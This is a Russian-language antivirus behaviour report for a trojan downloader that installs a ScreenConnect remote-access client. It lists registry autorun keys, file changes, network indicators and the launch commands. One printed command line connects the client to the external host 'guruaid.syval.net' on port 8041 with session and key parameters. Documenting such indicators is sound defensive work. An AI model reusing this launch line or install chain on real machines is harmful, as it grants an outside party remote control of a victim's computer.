Trojan.DownLoader33.54389

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKLM>\SOFTWARE\Classes\sc-f820cfbdc25ce1ab\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (f820cfbdc25ce1ab)\Elsinore.ScreenConnect.WindowsClient.exe" "%1"'

Изменения в файловой системе

Создает следующие файлы

%TEMP%\setup.msi
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\jtjkc4ff.newcfg
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\kajzjsun.newcfg
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\1hq1t3s0.newcfg
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\zvimyqao.newcfg
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\pai1vfx3.newcfg
%WINDIR%\installer\{b323b66a-c1bc-45f2-a4ec-9071dd7b8d6a}\defaulticon
%ProgramFiles(x86)%\screenconnect client (f820cfbdc25ce1ab)\client.resources
%ProgramFiles(x86)%\screenconnect client (f820cfbdc25ce1ab)\client.override.resources
%ProgramFiles(x86)%\screenconnect client (f820cfbdc25ce1ab)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (f820cfbdc25ce1ab)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (f820cfbdc25ce1ab)\app.config
%ProgramFiles(x86)%\screenconnect client (f820cfbdc25ce1ab)\elsinore.screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (f820cfbdc25ce1ab)\elsinore.screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (f820cfbdc25ce1ab)\elsinore.screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (f820cfbdc25ce1ab)\elsinore.screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (f820cfbdc25ce1ab)\elsinore.screenconnect.client.dll
%TEMP%\msi2b29.tmp-\customaction.config
%TEMP%\msi2b29.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi2b29.tmp-\elsinore.screenconnect.core.dll
%TEMP%\msi2b29.tmp-\elsinore.screenconnect.installeractions.dll
%TEMP%\msi2b29.tmp
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\zevzjery.newcfg
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\3jelvqmr.newcfg

Удаляет следующие файлы

%TEMP%\msi2b29.tmp-\customaction.config
%TEMP%\msi2b29.tmp-\elsinore.screenconnect.core.dll
%TEMP%\msi2b29.tmp-\elsinore.screenconnect.installeractions.dll
%TEMP%\msi2b29.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi2b29.tmp

Перемещает следующие файлы

%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\pai1vfx3.newcfg в %PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\user.config
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\zvimyqao.newcfg в %PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\user.config
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\1hq1t3s0.newcfg в %PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\user.config
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\kajzjsun.newcfg в %PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\user.config
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\jtjkc4ff.newcfg в %PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\user.config
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\zevzjery.newcfg в %PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\user.config
%PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\3jelvqmr.newcfg в %PROGRAMDATA%\screenconnect client (f820cfbdc25ce1ab)\user.config

Сетевая активность

TCP

'gu####d.syval.net':8041

UDP

DNS ASK gu####d.syval.net

Другое

Создает и запускает на исполнение

'%ProgramFiles(x86)%\screenconnect client (f820cfbdc25ce1ab)\elsinore.screenconnect.windowsclient.exe' "?y=Guest&h=guruaid.syval.net&p=8041&s=798548a4-ca90-4b83-be98-49e153a5db31&k=BgIAAACkAABSU0ExAAgAAAEAAQChBGI4uPhuzvjhK7mMLt8WsCxYGGrPzaJFEcR8nTseloETsyNgjB897zEa7jRKvhiw27m4utmD07hP7UW25dTLuhG...

Запускает на исполнение

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSI2B29.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_1060281 1 Elsinore.ScreenConnect.InstallerActions!Elsinore.ScreenConnect.ClientInstallerActions.FixupServiceArguments